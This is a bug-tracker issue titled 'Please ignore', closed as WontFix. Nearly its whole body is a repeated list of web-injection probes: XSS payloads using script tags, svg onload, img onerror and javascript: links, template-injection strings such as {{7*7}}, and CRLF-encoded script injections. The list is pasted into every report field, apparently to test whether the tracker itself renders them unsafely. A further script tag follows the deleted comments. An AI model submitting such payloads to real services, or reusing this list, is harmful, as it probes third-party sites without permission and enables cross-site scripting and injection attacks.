New issue
Advanced search Search tips

Issue 864396 link

Starred by 2 users

Issue metadata

Status: WontFix
Owner: ----
Closed: Jul 17
Components:
EstimatedDays: ----
NextAction: ----
OS: Windows
Pri: 2
Type: Bug



Sign in to add a comment

Please ignore

Reported by miki31...@gmail.com, Jul 17

Issue description

UserAgent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Steps to reproduce the problem:
<svg/onload=alert(document.domain)>
"><script>alert(document.domain)</script>
</b>">'></script></h1></strong></h2></h3></h4></h5></h6></div></div></a></img></iframe></p></script>alert(document.domain)</script>
<a href="javascript:alert(document.domain)">Test</a>

[s](javascript:alert(document.domain))
![ss](javascript:alert(document.domain))

{{7*7}}
{7*7}
${7*7}
[7*7]
[[7*7]]
<%7*7%>

{{ 7*7 }}
{ 7*7 }
${ 7*7 }
[ 7*7 ]
<% 7*7 %>
[[ 7*7 ]]

<img src="x" onerror=alert(document.domain)>Test</img>

%0d%0a%0d%0a<script>alert(document.domain)</script>
%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

What is the expected behavior?
<svg/onload=alert(document.domain)>
"><script>alert(document.domain)</script>
</b>">'></script></h1></strong></h2></h3></h4></h5></h6></div></div></a></img></iframe></p></script>alert(document.domain)</script>
<a href="javascript:alert(document.domain)">Test</a>

[s](javascript:alert(document.domain))
![ss](javascript:alert(document.domain))

{{7*7}}
{7*7}
${7*7}
[7*7]
[[7*7]]
<%7*7%>

{{ 7*7 }}
{ 7*7 }
${ 7*7 }
[ 7*7 ]
<% 7*7 %>
[[ 7*7 ]]

<img src="x" onerror=alert(document.domain)>Test</img>

%0d%0a%0d%0a<script>alert(document.domain)</script>
%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

What went wrong?
<svg/onload=alert(document.domain)>
"><script>alert(document.domain)</script>
</b>">'></script></h1></strong></h2></h3></h4></h5></h6></div></div></a></img></iframe></p></script>alert(document.domain)</script>
<a href="javascript:alert(document.domain)">Test</a>

[s](javascript:alert(document.domain))
![ss](javascript:alert(document.domain))

{{7*7}}
{7*7}
${7*7}
[7*7]
[[7*7]]
<%7*7%>

{{ 7*7 }}
{ 7*7 }
${ 7*7 }
[ 7*7 ]
<% 7*7 %>
[[ 7*7 ]]

<img src="x" onerror=alert(document.domain)>Test</img>

%0d%0a%0d%0a<script>alert(document.domain)</script>
%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Did this work before? N/A 

Chrome version: 67.0.3396.99  Channel: stable
OS Version: 6.3
Flash Version: 6.5

<svg/onload=alert(document.domain)>
"><script>alert(document.domain)</script>
</b>">'></script></h1></strong></h2></h3></h4></h5></h6></div></div></a></img></iframe></p></script>alert(document.domain)</script>
<a href="javascript:alert(document.domain)">Test</a>

[s](javascript:alert(document.domain))
![ss](javascript:alert(document.domain))

{{7*7}}
{7*7}
${7*7}
[7*7]
[[7*7]]
<%7*7%>

{{ 7*7 }}
{ 7*7 }
${ 7*7 }
[ 7*7 ]
<% 7*7 %>
[[ 7*7 ]]

<img src="x" onerror=alert(document.domain)>Test</img>

%0d%0a%0d%0a<script>alert(document.domain)</script>
%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
 

Comment 1 Deleted

Comment 2 Deleted

Comment 3 Deleted

Comment 4 Deleted

<script>alert(document.domain)</script>
Status: WontFix (was: Unconfirmed)

Sign in to add a comment